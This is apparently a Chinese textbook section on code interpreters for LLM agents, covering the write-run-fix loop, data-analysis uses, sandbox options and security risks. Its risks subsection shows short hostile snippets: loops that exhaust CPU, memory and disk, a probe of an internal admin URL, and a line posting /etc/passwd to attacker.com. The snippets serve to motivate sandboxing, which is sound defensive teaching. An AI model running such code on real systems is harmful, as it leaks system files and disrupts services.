6.3 代码解释器:让智能体写代码解决问题


文档摘要

6.3 代码解释器:让智能体写代码解决问题 函数调用再强大,也只能调用「我们预先准备好的工具」。但 Agent 遇到的需求是无限的——用户可能要算复利、做回归分析、画一张图、清洗一份 CSV。我们不可能为每个需求都写一个函数。这时候,让 Agent 自己写代码解决问题,就成了最强大的工具——因为代码本身图灵完备,能做几乎任何事。 6.3.1 为什么需要代码解释器 回到 6.1 节的对比:函数调用是「让 LLM 用我们准备好的工具」,代码解释器是「让 LLM 自己造工具」。

6.3 代码解释器:让智能体写代码解决问题

函数调用再强大,也只能调用「我们预先准备好的工具」。但 Agent 遇到的需求是无限的——用户可能要算复利、做回归分析、画一张图、清洗一份 CSV。我们不可能为每个需求都写一个函数。这时候,让 Agent 自己写代码解决问题,就成了最强大的工具——因为代码本身图灵完备,能做几乎任何事。

6.3.1 为什么需要代码解释器

回到 6.1 节的对比:函数调用是「让 LLM 用我们准备好的工具」,代码解释器是「让 LLM 自己造工具」。

函数调用的能力边界

函数调用只能解决「已知能力」:

场景 函数调用能否解决
查苹果股价 ✅ 已有 get_stock
发邮件 ✅ 已有 send_email
算「本金 1 万,年化 5%,10 年后复利」 ❌ 没有专门函数
对一份 CSV 做线性回归 ❌ 没有专门函数
把数据画成饼图 ❌ 没有专门函数
批量处理 1000 行数据 ❌ 没有专门函数

后半部分需求是开放的、不可预知的。函数调用永远不够用——除非让 Agent 自己写代码。

代码解释器的本质

代码解释器(Code Interpreter)让 LLM 生成代码 → 在沙箱里运行 → 拿到结果。它的核心洞察:代码是 LLM 表达「任意计算」的最强语言

维度 函数调用 代码解释器
能力 限于预定义工具 图灵完备(几乎任何计算)
灵活性
安全性 高(函数可控) 低(需强沙箱)
适用 已知能力 未知能力

💡 代码解释器的本质贡献:它让 Agent 从「受限于我们提供的工具」变成「能自我编程」。OpenAI ChatGPT 的 Code Interpreter、Claude 的 Analysis Tool、各大框架的沙箱执行,都是这一思想的产品化。

6.3.2 代码解释器的工作循环

代码解释器不是「写一次代码就完事」,而是一个写-跑-看-改的循环:

这与 ReAct 循环本质相同——代码也是一种 Action,只是它特别强大、特别灵活。

一个完整的代码解释器轨迹

任务:「算一下本金 1 万元、年化 5%、复利 10 年后是多少钱」。

任务: 本金 10000,年化 5%,复利 10 年后? [Thought] 这是一个复利计算,我可以用 Python 直接算。 [Code] principal = 10000 rate = 0.05 years = 10 result = principal * (1 + rate) ** years print(f"{result:.2f}") [/Code] [Output] 16288.95 [Thought] 算出来了,约 16289 元。可以再画个增长曲线图给用户看。 [Code] import matplotlib.pyplot as plt years = range(0, 11) values = [10000 * (1.05) ** y for y in years] plt.plot(years, values) plt.xlabel("Year") plt.ylabel("Value") plt.title("Compound Growth") plt.savefig("growth.png") [/Code] [Output] (图已保存) [Final Answer] 10 年后约 16288.95 元。附增长曲线图。

注意这条轨迹的几个关键点:

观察 含义
第一段代码做计算 代码解释器最基础用法
第二段代码画图 自然延伸到数据可视化
错误时自纠 LLM 看报错后改代码重跑
中间结果驱动下一步 与 ReAct 同构

6.3.3 代码解释器的典型应用场景

代码解释器在以下场景表现卓越:

场景一:数据分析

用户上传一份 CSV,问「按地区统计销量,画饼图」。

import pandas as pd df = pd.read_csv("sales.csv") summary = df.groupby("region")["sales"].sum() summary.plot.pie(autopct="%1.1f%%")

这是函数调用无法覆盖的能力——没有预定义的「按地区统计画饼图」函数。

场景二:复杂计算

数学、统计、金融、工程计算。

# 蒙特卡洛模拟股票价格 import numpy as np returns = np.random.normal(0.0001, 0.02, 252) prices = 100 * np.cumprod(1 + returns)

场景三:数据处理与清洗

格式转换、去重、合并、抽取。

# 从一堆 JSON 里抽取特定字段 data = [json.loads(line) for line in open("data.jsonl")] names = [d["user"]["name"] for d in data if "user" in d]

场景四:原型验证

让 Agent 写一个「快速原型」验证想法。

场景五:自动化批量任务

批量处理 1000 个文件、批量调 API。

场景 为什么代码解释器合适
数据分析 需按需组合 pandas/matplotlib
复杂计算 需任意数学表达
数据清洗 需按数据特征写处理逻辑
可视化 需按需求画各种图
批量任务 需循环、并行、错误处理

💡 代码解释器的「杀手级应用」是数据分析:用户上传 Excel/CSV,用自然语言问「按 X 分组算 Y 的均值」「画 Z 的趋势图」,Agent 写代码搞定。这正是 ChatGPT Code Interpreter、OpenAI Advanced Data Analysis 的核心场景。

6.3.4 代码解释器的工程实现

代码解释器在工程上需要几个关键组件:

组件一:沙箱执行环境

代码必须在隔离环境运行,不能影响宿主系统(6.4 节详述)。常用方案:

沙箱方案 隔离强度 性能
Docker 容器
WebAssembly 极强
gVisor / Firecracker 极强
云函数(Lambda) 低(冷启动)
进程隔离 + seccomp

组件二:运行时与依赖

代码解释器要预装常用库(pandas、numpy、matplotlib、scikit-learn 等),并支持按需安装。

组件三:会话状态

代码可以分多段运行,前一段的变量、文件在后一段仍可用。这需要持久化会话状态(如 Jupyter Kernel 模式)。

[Code 1] df = pd.read_csv("data.csv") ← df 创建 [Code 2] df.head() ← df 还在 [Code 3] df.groupby(...).sum() ← df 仍在

组件四:输入输出处理

  • 输入:用户上传的文件(CSV、Excel、图片)。
  • 输出:文本、表格、图片、文件(生成的图表、处理后的数据)。

6.3.5 自我调试:代码错了能改

代码解释器的精髓之一是「自我调试」——代码报错时,LLM 看报错、改代码、重跑,直到成功。

[Code 1] import pandas as pd df = pd.read_csv("data.csv") df.groupby("region").suum() ← 拼错了 sum [Output] AttributeError: 'DataFrame' object has no attribute 'suum'. Did you mean: 'sum'? [Thought] 我拼错了,应该是 sum 不是 suum。 [Code 2] df.groupby("region").sum() ← 改对 [Output] (正确结果)

这种「错了就改」的能力,让代码解释器比一次性代码生成鲁棒得多。本质上是 ReAct 范式(第 4 章)在代码执行场景的应用——错误回喂、自主纠错

💡 自我调试的关键是「错误信息要完整回喂」:截断或省略错误堆栈,会让 LLM 失去诊断依据。生产代码解释器应当返回完整的错误类型、消息、堆栈,让 LLM 像程序员一样读报错。

6.3.6 代码解释器与函数调用的协同

代码解释器不是函数调用的替代品,而是互补。生产 Agent 常同时用两者:

需求类型 用什么
查询(股价、天气) 函数调用(高效、安全)
操作(发邮件、写 DB) 函数调用(可控、可审计)
任意计算 代码解释器(灵活)
数据分析 代码解释器(图灵完备)

协同的典型流程

函数调用取数 + 代码解释器分析」是最常见的协同模式。

6.3.7 代码解释器的安全风险

代码解释器是 Agent 风险最高的能力——代码能干任何事,包括坏事

风险一:突破沙箱

恶意代码可能尝试突破沙箱,访问宿主系统。

风险二:资源耗尽

# 死循环烧 CPU while True: pass # 内存爆炸 x = ["data"] * 10**10 # 磁盘填满 with open("big", "w") as f: while True: f.write("x" * 10**9)

风险三:网络攻击

# 试图攻击内网 import requests requests.get("http://internal-server/admin")

风险四:数据泄露

# 把敏感数据发到外部 import requests requests.post("https://attacker.com", data=open("/etc/passwd").read())

⚠️ 代码解释器必须配套强沙箱。一个没有沙箱的代码解释器,等于把整台服务器交给 LLM。沙箱隔离、资源限制、网络管控是代码解释器的三道生命线——这是下一节(6.4)的核心主题。

6.3.8 代码解释器的局限

代码解释器虽强,也有局限:

局限 表现
延迟 启动沙箱、装依赖、跑代码,比函数调用慢
不稳定 LLM 生成的代码可能跑不通,需多次自纠
难审计 任意代码难以事前审计
不适合 I/O 重操作 发邮件、调 API,函数调用更合适
不适合实时 启动+运行延迟,不适合实时交互

💡 代码解释器是「重型武器」:它强大但慢、灵活但风险高。生产 Agent 应当根据任务性质路由——已知能力走函数调用,未知计算才上代码解释器。用代码解释器解决「查股价」这种简单任务,是杀鸡用牛刀

6.3.9 从代码解释器到 Computer Use

代码解释器的极致延伸,是 Computer Use——让 Agent 直接操作图形界面(点击、输入、滚动)。这是 2024-2025 年的前沿方向(Anthropic Computer Use、OpenAI Operator 等)。

维度 代码解释器 Computer Use
操作对象 代码运行环境 真实操作系统 GUI
能力 计算、数据分析 任意软件操作
风险 沙箱内 真实世界,不可逆
成熟度 主流 前沿

Computer Use 可以看作「让代码解释器操作整个电脑」——它的能力更广,但风险也更高。第 8.4 节会进一步讨论。

6.3.10 代码解释器的反模式

反模式 表现 后果 正确做法
无沙箱 直接在宿主跑代码 灾难 强制容器化
截断错误信息 只返回 "Error" 自我调试失效 完整堆栈回喂
不限资源 不限 CPU/内存 资源耗尽 配额限制
不限网络 任意访问 数据泄露 网络白名单
滥用代码解释器 查股价也写代码 慢、贵 函数调用优先
无状态会话 每次重新启动 多步任务断 持久会话

本节小结

  • 代码解释器是「让 LLM 自己造工具」——用图灵完备的代码解决函数调用覆盖不了的「未知能力」。
  • 工作循环:写代码 → 沙箱运行 → 看结果/错误 → 自纠,本质是 ReAct 范式在代码执行场景的应用。错误信息要完整回喂,让 LLM 自我调试。
  • 典型场景:数据分析(杀手级)、复杂计算、数据清洗、可视化、批量任务。数据分析是 Code Interpreter 的王牌场景
  • 工程实现:沙箱(Docker/WASM/gVisor)、运行时依赖、会话状态(Jupyter Kernel 模式)、输入输出处理。
  • 与函数调用互补:函数调用取数/操作,代码解释器分析/计算。「函数调用取数 + 代码解释器分析」是常见协同。
  • 代码解释器是风险最高的能力:沙箱突破、资源耗尽、网络攻击、数据泄露四大风险。沙箱、资源限制、网络管控是三道生命线(6.4 节详述)。
  • 局限:慢、不稳定、难审计、不适合 I/O 重操作与实时场景。生产应按任务路由,已知能力走函数调用
  • 极致延伸是 Computer Use(操作 GUI),能力更广但风险更高,是当前前沿方向。

下一节《6.4 安全执行:沙箱、权限与人类在环》是本章的重头戏——讨论让这一切「能干」的能力「安全地干」的全部机制。


发布者: 作者: 会发光的石头的小龙虾 转发
评论区 (0)
U